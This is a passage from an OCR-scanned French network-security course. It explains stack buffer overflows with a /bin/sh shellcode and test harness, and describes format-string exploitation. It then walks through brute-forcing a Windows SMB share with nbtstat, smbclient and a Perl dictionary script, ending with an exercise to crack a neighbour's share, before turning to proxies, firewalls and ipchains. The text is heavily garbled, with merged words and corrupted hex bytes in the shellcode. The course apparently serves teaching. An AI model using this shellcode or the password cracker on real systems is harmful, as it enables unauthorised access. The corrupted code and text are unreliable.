0x80002d4 < execve+24>: jnl 0x80002e6 < _execve+42>
0x80002d6 <__execve+26>: negl  %edx

0x80002d8 <__execve+28>: pushl  %edx

0x80002d9 < execve+29>: call 0x8001a34 <__normal_errno _location>
0x80002de <__execve+34>: popl %edx

0x80002df <__execve+35>: movl  %edx,(%eax)

0x80002el <__ execve+37>: movl  $Oxffffffff,%eax

0x80002e6 < _execve+42>: popl %ebx

0x80002e7 <__execve+43>: movl %ebp,%esp

0x80002e9 < __execve+45>: popl %ebp

0x80002ea <__execve+46>: ret

0x80002eb < execve+47>: nop

End of assembler dump.

En examinantde prés Ie code assembleur on peut repérempesandispensables et 'on aboutit au code
suivant (tout est expliqué en détails ici).
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Listing 24.5 — root shell assembleur

movl string_addr , string_addr_addr
movb  $0x0, null_byte_addr

movl $0x0, null_addr

movl $0xb , % ax

movl string_addr ,%bx
leal string_addr ,%cx
leal null_string ,%dx
int $0x80

movl $0x1, %ax

movl $0x0, %bx

int $0x80

la string '/bin/sh’ viens ici.

Le principe est donc d’effectuer un appel systeme execee()lancer la commande /bin/sh. C'est la que
se présente un autre probléme, comment connaitre I'adilessette chaine de caractéres une fois placée en
mémoire, afin de pouvoir la référencer? Une solution (loedtpn connait le langage d’assemblage ;-) est
d’utiliser une instruction JMP et une instruction CALL. Gasux instructions peuvent utiliser 'addressage
relatif au PC, c’est-a-dire que I'on peut leur donner un dépinent en mémoire plutot qu'une adresse
absolue. Il suffit alors de placer un CALL juste avant la ckadle caractéres et un JMP vers le CALL
au début du shellcode. Linstruction CALL va pousser soressk de retour sur la pile, qui est justement
I'adresse de notre chaine de caractéres! Il ne reste pladajaopier dans un registre et a utiliser ce registre
pour effectiuer I'appel systeme. Le CALL, quant a lui, paotement pointer vers le début de notre code :
On voit ici I'ordre des sauts qui seront effectués lors dedtauition. les J représentent l'instruction JMP en
mémoire, C le CALL et s notre string '/bin/sh’ :

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF  topf
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoy

buffer sfp ret a b c
<mmmmmn [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x0 2][0x03]

/\l/\ /\|

If I | (1)

@ | |

I | (3)
top of bottom of
stack stack

Il reste cependant un petit probléme : puisque notre bufferflow sera copié dans le buffer a I'aide d’'une
instruction du type strcpy(), il ne faut pas qu'il contierdeecaractéere nul sinon strcpy() s’arrétera en pensant
avoir atteint la fin de la chaine de caractéres. Pour évilarae examine le code machine produit et on
remplace les instructions contenant de@'’par des instructions equivalentes possédant un opctféeit.
Exemple:
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Instructions posant probleme : A remplacer par :
movb  $0x0,0x7(%esi) xorl  %eax,%eax
molv  $0x0,0xc(%esi) movb  %eax,0x7(%esi)

movl  %eax,0xc(%esi)

movl $0xb,%eax movb  $0xb,%al

movl $0x1, %eax xorl %ebx,%ebx

movl $0x0, %ebx movl %ebx,%eax
inc %eax

A l'aide de gdb on obtient alors le shellcode :

Listing 24.6 — testsc2.c

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x8246\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdr89\xd8\x40\xcd"
"\x80\xe8\xdc\ xff\ xff\xff/bin/sh";

void main () {
int xret;

ret = (int x)&ret + 2;
(xret) = (int)shellcode;

Et un petit test prouve que I'appel fonctionne :

[titan]$ gcc -0 testsc2 testsc2.c
[titan]$ ./testsc2

$ exit

[titan]$

On a alors a peu prés tout ce qu'il nous faut. Pour faire poiRET vers le début de notre shell-
code on peut simplement terminer notre string d’exploit lfdresse du début de notre shellcode, reco-
piée un grand nombre de fois. Cependant lors de I'attaque pfagramme étranger, comment connaitre
cette adresse ? La pile commence a une adresse fixe pour sopsolgrammes, et sachant que chaque
programme va ensuite pousser sur la pile un nombre diffétertytes, on pourrait procéder par essais-
erreurs. Cependant c’est trés fastidieux et risque d'é® lbng. Une méthode souvent utilisée en pra-
tique est de commencer notre string d’exploit par un grandbre d’instructions NOP. Cette instruction
ne fait rien & part sauter a l'instruction suivante. Cela waspermettre de tomber plus facilement au dé-
but de notre shellcode, puisqu’il suffit d'arriver a n'impmiquel endroit dans les NOPs, qui seront sim-
plement exécutés jusqu'a ce que I'on arrive a notre shedlcbd configuration obtenue est la suivante :
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bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF topf
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoy
buffer sfp ret a b c

Cemmmen [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0XDE][0xD E][OxDE]

" |

I I
top of bottom of
stack

Et voila pour le principe. Il y a différentes variantes pbss, par exemple si le buffer que I'on veut ex-
ploiter est trop petit pour contenir le shellcode et/ou temgirnombre de NOP, on peut utiliser les variables
d’environnement pour stocker la string d’exploit, puisgas variables sont poussées sur la pile tout au début
du lancement du programme.

Il est aisé de trouver des "shellcodes" toutfaits sur Irtepour différentes architectures. Une bonne
comprehension des buffers overflows sera toutefois nédoegsaur obtenir un string d’exploit fonctionnelle
pour un ordinateur en particulier, et/ou la modifier le cdséamnt.

24.4 Variante : les "format string exploits"

Lors de notre recherche d’exploits utilisant des bufferrboers, nous sommes tombés sur toute une
série d’exploit qui ressemblaient a des buffer overflows ael’ptilisation de "shellcodes" binaires etc...,
mais n’'étaient pas exactement de la méme nature. Il s’agiedploit utilisant des failles dans les "for-
mats strings" données en argument a des instructions copningf@. 1l était intéressant d’en comprendre
le fonctionnement puisque nous avons pour finir utilisé awexres plusieurs exploits utilisant ce type de
vulnérabilités.

Un minimum de connaissance du langage C est nécessairequprendre ce qui suit. Les instructions
comme printf(), sprintf(), etc... prennent parmi leursiargnts un "format string" qui définit le format de ce
gue la commande va devoir écrire en fonction des autres angisnTout le monde connait les caracteres de
formatting les plus courants utilisés dans ces "formatg#fl, comme "%s" utilisé pour imprimer une chaine
de caractéres. (printf("%s", "Hello World ") ;)

Ou se trouve le probléeme dans ces instructions qui sont pasmpius utilisées dans le langage C ?
Le probléeme apparait lorsque le programmeur — paresseonedout programmeur — écrit par exemple
printf (buf); Le langage C étant un langage de bas niveau, il n’y a pas deaéion tres poussée des
arguments, le programmeur est censé s’occuper de leur lilisation. Dans ce cas-ci, le buffer buf va étre
considéré comme la "format string" puisque poussé a sa plada pile par printf(). Si buf ne contient au-
cun spécifieur de format, le comportement sera sensibldmer@me que si on avait écrit printf("%s",buf) ;,
d’ou le raccourci utilisé par le programmeur. Par contrau§idontenait "%x %x %x %x %Xx" cette instruc-
tion aurait pour effet d’imprimer le contenu des adresssséms en arguments. Comme il n'y a pas d’autres
arguments mais que printf() ne le vérifie pas, les argumemtnslogiqguement lus sur la pile a la suite de
buf, et imprimés! Le comportement est trés différent de detpit désiré.

En fonction de la mauvaise utilisation des "formats stringa voit qu'il est possible de lire le contenu
de la pile en s’arrangeant pour que la chaine de caractéliegsien lieu et place de la "format string"
contienne des caractéres spéciaux de formatting. On pounesginer de lire tout le contenu de la pile (voir
son organisation lors d’appels de fonctions dans la pautides buffer overflows) en fournissant a la place
d’'une "format string" un trés longue suite de spécifieursaebt, de fagon a arriver a la string d'attaque
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elle-méme, en ayant donc accés aux adresses de retour déersretc... Treés intéressant lorsqu’on veut
jouer un peu avec la pile... Cependant cela ne permet padalieer du code arbitraire, ni de lancer une shell
en root, alors que c’est bien entendu notre but...

La solution vient d'un autre type de spécifieur de format (swjet il peut étre utile de consulter le
manuel printf(2) et ses variantes, toutes les explicatiprisuivent étant valables aussi bien pour sprintf()
etc..) : "%n". L'utilisation de "%n" demande a printf() di&® le nombre de caractéres déja envoyés depuis
le début de I'exécution de l'instruction. L'argument capendant a %n sera I'adresse mémoire a laquelle
il faut écrire cette valeur. Autre particularité, %n dematelnombre de caractéres qui ont ou qui devraient
avoir été écrits, jusqu’a I'endroit du %n.

Par exemple snprintf(buf, 2, "%1000d%n", 1, &a) écrit 1000 a I'adresse &a et non 2, bien que seul
deux caractéres aient été écrits.

Bon cela nous permet d’écrire des nombres arbitraires,.atlps écrire a la bonne adresse il faut fournir
a printf() des pointeurs vers les bons endroits, par exehgaeesse de retour de la fonction, afin de lui faire
exécuter autre chose. Pour cela il faudrait pouvoir chéésirarguments qui sont passés a printf() ! Mais
rappelons-nousl n'y en a qu’'un. Les autres sont pris sur la pile a I'endroit ou printf() est arrivé. I
suffit donc de mettre suffisamment de spécifieurs de format'jgonsommer” la pile et finir par arriver au
début de la string que I'on fournit soi-méme, en remontansda mémoire et en descendant dans la pile!
A ce moment-la on dispose d’arguments que I'on peut cortsileméme, en leur donnant par exemple la
valeur de I'adresse ou est écrite I'adresse de retour denlgtiém, que I'on a pu trouver en examinant le
contenu de la pile précédemment.

Il reste un probléme, la taille du buffer. Puisque la plugiartemps on ne peut choisir I'instruction que
I'on exploite, il n'est pas possible d'utiliser le fait quer®mprime non pas le nombre de caractéres effec-
tivement écrit mais le nombre de caractéres qui auraientré(éérits. L'adresse a laquelle se trouve notre
shellcode peut étre trés élevée,et il n’est souvent pashp@sécrire autant de caratéres dans le buffer uti-
lisé comme "format string", puisqu’il est forcément del&limitée. Une solution est d’écrire I'adresse en
plusieurs parties, méme byte par byte si nécessaire, eraBtohaque fois une partie de lI'adresse, du byte
le moins significatif au byte le plus significatif, pour évitBeffacer des bytes déja écrits.

Bien entendu comme %n fait écrire le nombre de bytes déjisgitfaut soustraire ce nombre a chaque étape
au nombre de caracteres que I'on met dans la string pouriolterombre désiré, composant I'adresse.

Il suffit enfin de fournir le shellcode au debut de la string oe exploite, de trouver I'adresse ou il est
stocké en examinant la pile comme décrit plus haut, et d’étbeire son adresse a la place de I'adresse de
retour de la fonction, trouvée de la méme fagon. Le princg@ssez simple une fois que I'on a compris la
facon dont la pile évolue au fil des appels des procédures,@tiest poussé dessus.

24.5 Notre Attaque

Une fois que I'on a compris le principe des buffer overflovesiriéthode la plus simple est de trouver
sur Internet soit le nom d’une application vulnérable pnésesur le systéme visé, soit carrémment la source
d’'un exploit réalisé par quelqu’un d’autre. Il n’est pasjtaus réellement nécessaire de comprendre le fonc-
tionnement des buffers overflows, et nous avons méme troewéalrces d'exploits qui se chargeaient de
tout le travail et ne demandaient aucune intervention detade I'utilisateur, mis a part la compilation du
code. En régle générale, cependant, il est utile de bien comdpe le mécanisme car les exploits nécessitent
souvent comme parameétre I'une ou l'autre adresse mémaiendé@nt d’'une machine a l'autre.
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24.6 Mesures de précautions

La plupart des failles utilisées dans les attaques de bafferflow et de "format string" overflow sont
dues & des erreurs de programmation, dont en particuliglisation de raccourcis pour programmeurs
paresseux dans des applications ou la sécurité est cruciale

— Buffer Overflows

— Les programmeurs devraient utiliser strncpy() au lieutdgpg() pour éviter de créer des vulnéra-
bilités

— De méme I'utilisation de snprintf() au lieu de sprintf(rpest d’éviter les attaques par overflow,
etc...

— On pourrait interdire I'exécution de code se trouvant ayile, mais c’est contournable

— |l faudrait auditer toutes les sources pour détecter i@sdgossibles et les modifier, mais c’est un
travail énorme et irréalisable.

— "Format String" Overflows

— Ne jamais utiliser
printf( <resultat d’appel d’'une fonction>, arguments, ... );
Mais uniquement des "format strings" statiques, sans gpp&imettre a I'utilisateur de fournir lui-
méme de facon directe ou indirecte la chaine de caractérss getrouvera a la place de la "format
string".

— De facon générale, en programmation, il faut toujours ickémser queuser input = EVIL et donc
ne jamais utiliser de données regues par ce biais sans lésvér
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Attaque par force brute

25.1 Introduction

Les attaques les plus “bétes” ne sont pas forcément les rdéuastatrices. Sous certains systémes, les
tentatives d’accés a une ressource réseau ne sont pas taggesn journal ou si elles le sont ne sont pas
annoncés de maniere explicite a I'utilisateur.

Il est donc possible de tester les mots de passe un a un jusounér le bon ... C’est ce que nous allons voir
avec ces travaux pratiques.

25.2 Identifier les partages

Si nous avons acces a la machine qui posséde des partadis,dimssayer de casser le mot de passe
autant se déplacer. Nous allons donc partir du postulat @quuoi, la machine n’est pas sous notre nez et
gue nous avons pris une @IP au hasard.

Le voisinage réseau du systéme qui nous intéresse répomdgratocole qui nous permet de connaitre les
partages offerts par le systéme. La commande utilisée sospBur connaitre ces partagesrasistat
celle-ci n’est hélas pas disponible sous Linux.

Une petite recherche sur le net met trés rapidement fin & cqueam nous donnant un petit programme C.

Windows | Linux
nbtstat -A @IP | ./nbtstat @IP

En voici le résultat sous Linux :
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received data:
A2 48 84 00 00 00 00 01 OO0 00 OO 00 20 43 4B 41 .H.......... CKA

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21 AAAAAAAAAAAAA..!
00 01 00 00 00 00 00 9B 06 54 4F 55 52 4E 45 53 ....... TOURNES

4F 4C 20 20 20 20 20 20 00 44 00 42 49 2E 43 4F OL .D.BI.CO
4D 20 20 20 20 20 20 20 20 20 00 C4 00 54 4F 55 M ...TOU
52 4E 45 53 4F 4C 20 20 20 20 20 20 03 44 00 54 RNESOL .D.T
4F 55 52 4E 45 53 4F 4C 20 20 20 20 20 20 20 44 OURNESOL D
00 42 49 2E 43 4F 4D 20 20 20 20 20 20 20 20 20 .Bl.COM

1E C4 00 4D 47 54 20 20 20 20 20 20 20 20 20 20 ..MGT

20 20 03 44 00 00 EO 7D C2 A6 E5 00 00 00 00 0O .D
00 00 00 00 00 00 00 OO 00 OO 00 OO 00 00O 00 00
00 00 00 00 00 00 00 OO0 00 OO 00 OO 00 0O 00 00

00 00 00 00 00 00 OO 00 00O OO 00 OO 00 00 00 00
00 00 00 00 00

6 names in response

TOURNESOL <0x00> Unique Workstation Service
BI.COM <0x00> Group Domain Name
TOURNESOL <0x03> Unique Messenger Service
TOURNESOL <0x20> Unique File Server Service
BI.COM <0xle> Group Potential Master Browser
MGT <0x03> Unique Messenger Service

Fic. 25.1 — Utilisation de nbtstat

Nous connaissons maintenant le login de connexion dei$atédur et le nom de la machine ainsi que
d’autres informations qui n'auront pas d’intérét dans eagmonstration.
Login: MGT
Hostname : TOURNESOL

Le protocole NetBios utilise les noms de machines pour pinwseconnecter a celles-ci, il nous faut
donc informer la relation @IR. — > Nom de machine sur notre systeme.

Nous allons donc indiquer dans le fichletc/hosts (Linux)ou c:\windows\hosts ou Imhosts
cette relation.

[192.168.0.147 TOURNESOL |

25.3 Visualisation des partages

Il nous faut maintenant connaitre les noms des partagedffar cette machine. Encore une fois des
commandes MSDos et Linux nous permettent cette fonctid@gnal

Windows | Linux
net view \\Nomdelamachine | smbclient -N -L Nomdelamachine

Les options utilisées dans la commande Linux sont :
— -N : pour ne pas demander de mot de passe

— -L : pour permettre de demnder les services disponiblele sarveur
En voici le résultat sous Linux :
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Sharename Type Comment

EBR Disk

PARTAGE2 Disk

IPC$ IPC Remote Inter Process Communication
Server Comment

Workgroup Master

FIG. 25.2 — Partages Windows

25.4 Accéder au partage

L'accés a un partage Windows peut se faire dans I'envirommeméseau par clic souris. Le probleme
gue I'on rencontre ici est que nous ne conaissons pas le mmste ce qui signifie que nous ne sommes
pas & méme de mettre le bon mot de passe dans la fenétre atiactidu partage.

Il nous faut donc faire ceci non pas de maniére clic clic soon@is de maniére automatisée afin de tester un
nombre important de mot de passe (jusqu’a trouver le bon).
Les commandes utilisables pour ceci sont les suivantes :

Windows| NET USE [drive: | *] [\\computen\directory [password | ?]]
Linux | smbmount //computer/partage ~/mnt -0 password=motdepass e

25.4.1 Exemples

Windows| net use g: \\psfS\partagepsf5
Linux | smbmount //psfS/partagepsf5 ~/mnt

25.5 Libérer le partage

Les commandes utilisables pour ceci sont les suivantes :

Windows| NET USE [drive: | *] /DELETE
Linux | smbumount ~/mnt

25.6 Mot de passe : la force brute

Comme nous pouvons le constater, il manque la donnée esdietdimot de passe. Nous allons donc
le casser en utilisant pour cela un dictionnaire. Bien s@ipmgramme ne marche que si le mot de passe
est un élément du dictionnaire mais il serait trés simpleedmabdifier pour prendre en compte diverses
alogorithmes de recherche de mots de passe.

Listing 25.1 — crack.pl

1||#!/usr/bin/perl —w
2
3||my $F;
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open (F, "dico");
while (<F>) {
chomp ($_);
print "Essaij,de_: $ \n";
‘smbmount //tournesol/EBR ~/mnto password=$_";
if ($? == 0 ) {
print "Fin_OK";
close (F);
exit 0;
}
}

close (F);

25.6.1 Analyse du programme

Le programme est simple, il lit ligne apres ligne le fichierc qui contient le dictionnaire des mots
francais courant. Un affichage permet de contréler les.testsque la commande smbmount réussi.

25.7 Travaux Pratiques

Créer un partage non protégé et un partage protégé avecturdictionnaire sur votre machine.
Utiliser les commandes précédemment montrées afin deligisules différents partages et les infor-
mations nécessaires a notre stratégie.

Utiliser les 2 méthodes de partage pour accéder au réepiitagé sans mot de passe.

Utiliser les 2 méthodes de partage pour accéder au rémeptmitagé protégé.

Utiliser le programme crack.pl pour accéder au partageégéode votre voisin.
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Conclusion

Attaquer un serveur Web n’est pas du niveau du premier vemypoairrait donc penser que peu de
personnes pourront donc attaquer. Malgré tout, ceci est fan effet, par acquis de notoriété toutes les
failles de sécurité sont dévoilées et mises en ligne sumetell est possible alors a de jeunes pirates de se
transformer en pourfandeur de serveur Web. On les nommerigs Kiddies.
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Sixieme partie

Défense
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Introduction

Nous ne sommes tout de méme pas vulnérables a tout ce quiguadsaéseau. Plusieurs méthodes et
solutions existent pour nous protéger.
La plus connue est bien sdr le FireWall ou Pare Feu, mais autigeul, il n’est pas grand chose. Il est
préférable de lui adjoindre un IDS (Intrusion DetectiontBys).
Malgré ces deux outils, rien n’empéchera quelqu’un de pénéhez vous (surtout si vous ne regardez pas
les logs!). Alors pourquoi ne pas lui offrir ce qu’il désire& Pot & Miel nous sert & donner & manger a ceux
qui ont faim de sécurité. Heureusement, I'apiculteur npest loin pour surveiller!
Autre méthode, autre facon de voir les choses, technique biglle ou de la prison, laissons les gens vaga-
bonder ou ils le souhaitent mais dans leur prison uniquement
Enfin, rien ne vaut tout de méme une bonne serrure avec une loéhpour empécher les voleurs de rentrer,
voyons donc quelques méthodes pour s’autotester.
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Proxy[12]

Le but d'un serveur proxy est d’isoler une ou plusieurs maehipour les protéger, comme indiqué sur
le schéma:

0 !_R\ai_! ) EE p———
e e ] %

3

fachines &

FiG. 28.1 — Description de I'architecture réseau pour un Proxy

Les machines A doivent se connecter au réseau par l'inteanédlu serveur Proxy. Ce dernier sert
de relais entre le réseau et les machines a cacher. Ainsndebines du réseau B auront I'impression de
communiquer avec le proxy, et non les machines A.

Pour les applications du réseau B, I'adresse IP du clieatsdte du serveur Proxy. Par exemple, lors
d’une connexion a un serveur HTTP, le browser se connecteraals proxy et demande I'affichage d’une
URL. C’est le serveur proxy qui géere la requéte et qui renleiésultat a votre browser.

Ainsi, en utilisant un numéro de port différent, le proxy igbltoutes les requéte a passer par lui en
supprimant les trames dont le numéro de port ne lui correspas.

De plus, le proxy posséde un avantage supplémentaire ergetenperformances. Si deux utilisateurs
demandent a peu de temps d’intervalle la méme page, cellergimémorisée dans le proxy, et apparaitra
donc beaucoup plus rapidement par la suite.

Ce procédé est tres intéressant en termes de sécuritéeundintes machines sont protégées. Le serveur
proxy peut filtrer les requétes, en fonctions de certainglese
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Les FireWall [11]

29.1 Comprendre les pare-feux

Un pare-feu est une structure destinée & empécher un fetrdedsser. Dans un immeuble, il s'agit d’'un
mur qui divise complétement des parties de celui-ci. Damswaiture, un pare-feu est une piéce métallique
qui sépare le moteur du compartiment passagers.

Les pare-feux Internet sont congus pour isoler votre rékeal privé des flammes de I'Internet, ou de
protéger la pureté des membres de votre réseau local emtetdisant I'accés aux tentations démoniaques
de I'Internet. ;-)

Le premier pare-feu informatique était une machine Unixssautage avec deux connexions a deux
réseaux différents. Une carte réseau était connectéeraént I'autre au réseau privé.

Pour atteindre Internet depuis le réseau privé, il fallaitogyger sur le pare-feu (Unix). Ensuite, on uti-
lisait les ressources de ce systeme pour accéder a Inteareixemple, on pouvait utiliser X-Window pour
lancer le navigateur Netscape sur le pare-feu et en avifichage sur sa station de travail. Si le navigateur
tourne sur le pare-feu, il a accés aux deux réseaux.

Cette sorte d’héte a double réseau (un systéeme a deux consexdseau) est bien si I'on peut faire
confiance a TOUS les utilisateurs. On peut configurer simpigran systéme Linux et y créer un compte
pour tout utilisateur souhaitant un acces a Internet. Aedteconfiguration, le seul ordinateur du réseau
privé qui connaisse quelque chose du monde extérieur eardefpu proprement dit. Personne ne peut té-
Iécharger directement sur un poste de travail personralifld’abord télécharger un fichier sur le pare-feu,
puis transférer celui-ci du pare-feu au poste de travail.

NOTE IMPORTANTE : 99% des intrusions commencent par I'obtention d'un acaésateur sur le

systeéme attaqué. Pour cette raison, je ne recommande pgeatet pare-feu. De plus, il est aussi extréme-
ment limité.

29.1.1 Politiques de sécurité

Il ne faut pas croire qu'un pare-feu soit la panacée. Il faut t’abord définir une politique de sécurité.

Les pare-feux sont utilisés dans deux buts :
1. pour maintenir des gens (intrus, vandales...) dehors;
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2. pour maintenir des gens (employés, enfants...) dedans.

29.2 Types de pare-feux

Il'y a deux types de pare-feux :
1. pare-feux IP ou filtrants - ils bloquent tout le trafic saei¢ sélectionné;
2. serveurs mandataires (parfois appelés bastions) dliseat les connexions réseau pour vous.

29.2.1 Pare-feux filtrants

NF_IP_PRE_ROUTING NF_IP_FORWARD NF_IP_POST_ROUTING
=0 —>=0
Roatage | Routage 2
NF_IP_LOCAL_IN NF_[P_LOCAL _OUT

l Applications locales w

FIG. 29.1 — Principe du filtrage[2]
Le filtrage de paquets est le type de pare-feu inclus dans/uianux.

Un pare-feu filtrant fonctionne au niveau du réseau. Les éesine sont autorisées a quitter le systéeme
gue si les régles du pare-feu le permettent.
Lorsque les paquets arrivent, ils sont filtrés en fonctioriede type, origine, destination et port qui sont
décrits dans chacun de ceux-ci.

De nombreux routeurs comportent un certain nombre de ssrdie type pare-feu. Les pare-feux filtrants
peuvent étre pensés comme des types particuliers de reuBaur cette raison, il faut une profonde com-
préhension de la structure des paquets IP pour travailéer lawn d’eux.

Puisque trés peu de données sont analysées et tracéeseldsipefiltrants consomment peu de temps
processeur et créent moins de latence sur un réseau.

Les pare-feux filtrants ne fournissent pas de contrdle padepasse. Un utilisateur ne peut s’identifier
en tant que tel. La seule identité connue pour un utilisaéstit'adresse IP de son poste de travail. Cela
peut étre un probléme lorsqu’on souhaite utiliser DHCPigassion dynamique d’adresses IP). En effet, les
regles étant fondées sur les adresses IP, il faut ajustes@@la chaque fois que de nouvelles adresses sont
assignées.

Les pare-feux filtrants sont plus transparents pour lesaitiurs. Ceux-ci n'ont en effet pas a configurer
des regles dans leurs applications pour utiliser Inte@etn’est pas vrai avec la plupart des serveurs man-
dataires.
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29.2.2 Serveurs mandataires

Le meilleur exemple du fonctionnement de ceux-ci est céluig personne se connectant a un systeme
puis, depuis celui-ci, au reste du monde. C’est seulemett @aw serveur mandataire que ce processus est
automatique. Lorsque vous vous connectez a I'extérielmgieiel client vous connecte en fait d’abord au
serveur mandataire. Le serveur mandataire se connecsesal@erveur que vous cherchez a atteindre (I'ex-
térieur) et vous renvoie les données recues. On utiliseestl® terme "bastion" pour désigner un serveur
mandataire situé entre le réseau local interne et I'extérie

Puisque les serveurs mandataires gérent toutes les cowatians, ils peuvent enregistrer tout ce qu'ils
font (donc ce que vous faites). Pour les mandataires HTTB)(wela comprend les URL que vous deman-
dez. Pour les mandataires FTP, cela inclut chaque fichigchétgé. lls peuvent méme expurger les mots
"inappropriés" des sites que vous visitez ou analyser Isem@e de virus.

Les serveurs mandataires d'applications peuvent auflegrdes utilisateurs. Avant qu’une connexion
soit réalisée vers I'extérieur, le serveur peut demandetifidateur de se connecter préalablement. Pour un
utilisateur web, cela fonctionnera comme si chaque siteéedt une connexion.

29.2.3 Mandataire SOCKS

Un mandataire SOCKS ressemble beaucoup a un vieux cerd@phthique a fiches. Il interconnecte
simplement une machine interne a une autre externe.

De nombreux serveurs SOCKS fonctionnent uniquement agecdenexions de type TCP. De méme,
comme les pare-feux filtrants, il ne permettent pas 'autifieation d’utilisateurs. En revanche, ils peuvent
enregistrer la destination de la connexion de chaqueatgiis.

29.3 Architecture de pare-feu

Il existe de nombreuses maniéres de structurer un réseayppuéager des systémes a l'aide d’'un pare-
feu.

Si I'on dispose de connexions dédiées a Internet par unuguia peut connecter directement celui-ci
au systéme pare-feu. Au contraire, on peut passer par unduripprmettre un accés complet aux serveurs
a I'extérieur du pare-feu.

On peut configurer un certain nombre de régles de filtragerialiés dans le routeur. Néanmoins, ce rou-
teur peut étre la propriété d’un FAI (fournisseur d’accésimet), auquel cas on ne dispose pas du contrdle
de celui-ci. Il faut demander au FAI d'y inclure des filtresi(N: et avoir pleine confiance dans son FAI!).

On peut aussi utiliser un service commuté comme une ligneSRNANSs ce cas on peut utiliser une
troisieme carte réseau pour créer une DMZ (De-Militarizexhe, ou "zone démilitarisée") filtrée. Cela
donne un contrdle total sur les services Internet et maitigeséparation avec le réseau local normal.

Si I'on ne fournit pas soi-méme des services Internet madsi'qn souhaite surveiller ot vont les utili-
sateurs, on voudra utiliser un serveur mandataire (bgstmta peut étre intrégré dans le pare-feu.

On peut aussi placer le serveur mandataire sur le réseau Dmras ce cas, les régles du pare-feu ne
doivent autoriser que le bastion a se connecter a Internetlps services que celui-ci fournit. Ainsi les
utilisateurs ne peuvent accéder a Internet que par le mainelat
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NN | Routeur | | |
[ | | sans | (DMZz) | Systeme | (LAN) | Postes de |
/ Internet \----| filtre |--(HUB)--| pare-feu |--(HUB)--| travail |
o _ I I I I I I I
VVV |

(Serveur pour)
(I'exterieur)

FiG. 29.2 — PareFeu derriére un routeur sans filtre

NN I I
[ | | Systeme | (LAN) | Postes de |
/ Internet \----| pare-feu |--(HUB)--| travail |
o _ [ |
VVV |
(DMZ)
(HUB)

FiGg. 29.3 — PareFeu Routeur

Si I'on souhaite réaliser un service comme ceux de Yahoo !eat-ptre SlashDot, on peut souhaiter
réaliser une architecture redondante de routeurs et paretéf. High Availability HOWTO).

En utilisant une technique de DNS a jeton tournant ou a I'dieiserveurs d’applications a équilibrage
de charge, on peut créer un service a 100% de disponibilité.

Il est facile de voir corrompre son réseau local. Il faut @ymaer le contrdle de chaque connexion. Il suffit
d’un utilisateur avec un modem pour compromettre tout uaaésocal.

29.4 Les limites des firewalls

Le fait d'installer un firewall n’est bien évidemment pasr@gle sécurité absolue.

Les firewalls ne protégent en effet que des communicatiossapa a travers eux. Ainsi, les acces au
réseau extérieur non réalisés au travers du firewall soahade failles de sécurité. C'est par exemple le cas
des connexions effectuées a I'aide d’'un modem. D’autre [gfait d’introduire des supports de stockage
provenant de I'extérieur sur des machines internes auudsaa étre fort préjudiciable pour la sécurité de
ce dernier.

La mise en place d’'un firewall doit donc se faire en accord awee véritable politique de sécurité.
D’autre part la mise en place d'un systéme pare-feu n'exgraptde se tenir au courant des failles de
sécurité et d’essayer de les minimiser...

29.5 Principe du pare-feux sous Linux

Sous Linux, la reconnaissance des paquets se faits a tveisux :
— les paquets entrantsiput )
— les paquets en cours de passdgenard )
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NN | Systeme |

[ | | pare-feu/| (LAN) | Postes de |
/ Internet \----| bastion [|--(HUB)--| travail |

o _ I I I I
V VYV
FIG. 29.4 — PareFeu Serveur Mandataire
NN I I
| | | Systeme | (LAN) | Postes de |
/ Internet \----| pare-feu |--(HUB)--| travail |
o _ | I |
VvV V |
| | Serveur |
+----| mandataire |

|
Fic. 29.5 — PareFeu : Serveur mandataire en local

— les paquets sortantsytput ) généré par le réseau local
Pour qu’un paquet puisse passer, il faut qu'il puisse tsrees trois chaines, dans I'ordre input, forward,
output.
Deux applications permettent de faire ce filtrage, il s'@jiTable et d'IPChains.
Les régles de filtrage sont nommées des “chaines”. C'estdiable de ces regles qui va permettre de créer
un pare-feu.

Note :  ce filtrage se fait au niveau du noyau, ceci nécessite doncagmmpilation ou du moins une
adéquation de la configuration pour supporter les filtres.

29.5.1 Lesregles du filtrage avec Ipchains

Il est possible de définir ces propres chaines (ces propeeddgyestion des paquets), ou utiliser 'une
des chaines définies par défaut. Il existe 3 chaines partdéfau

— Input: les paquets entrants

— Forward : le traffic devant étre routé par le noyau

— Output : les paquets sortants (générés localement)

Des directives peuvent étre associés a ces chaines :
— ACCEPT : le paquet est accepté
DENY : le paquet est refusé, on renvoie un paquet ICMP : Battin Unreachable
REJECT : le paquet est refusé, on ne renvoie rien
MASQ : Masquerading, effectué sur la chaine Forward, pedmeéécrire une adresse en une autre.
Il permet notamment le partage de connexion internet.
REDIRECT : permet de rediriger un paquet de la chaine INRWTw@n des ports local.

La différence entre DENY et REJECT apparait de la fagon stiva
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NN NN N
I I I I
/ FAl No 1 \ (WAN)___ / Partenaires \
[ | | (HUB) L |
VVV | N V'V VYV
I |
NN | I | -
I | || (DMZ) |Systeme || (LAN) | I
/ FAI No 2 \--|Routeur||--(HUB)--|pare-feul|--(HUB)--|P ostes|
| Y A A I | I |
VvV V | | |
(Serveur) (Serveur) | |[Manda-|
(exterieur) (commun) +----|taire |

FiGc. 29.6 - DMZ

29.5.2 Exemple de I'effet d'un DENY

telnet mail.mamachine.com 25
Trying 192.168.1.2...
telnet : Unable to connect to remote host: Connection refuse d

29.5.3 Exemple de l'effet d’'un REJECT

telnet mail.mamachine.com 25
Trying 192.168.1.2...

La connexion en reste la.

29.5.4 Quelques élément de la syntaxe d’lpChains

Création d’'un chaine (ensemble de réglégthains -N nom_chaine
Insertion d’une régle dans une chaimgchains -A nom_chaine REGLE
Effacer le contenu d’'une chaingchains -F nom_chaine
Définir la « policy » par défaut d’'une chaingchains -P chaine TARGET
— Lister les chainesipchains -L
Pour ajouter un régle de Firewall, la syntaxe sera donc laate :ipchains -A nom_chaine -
Action
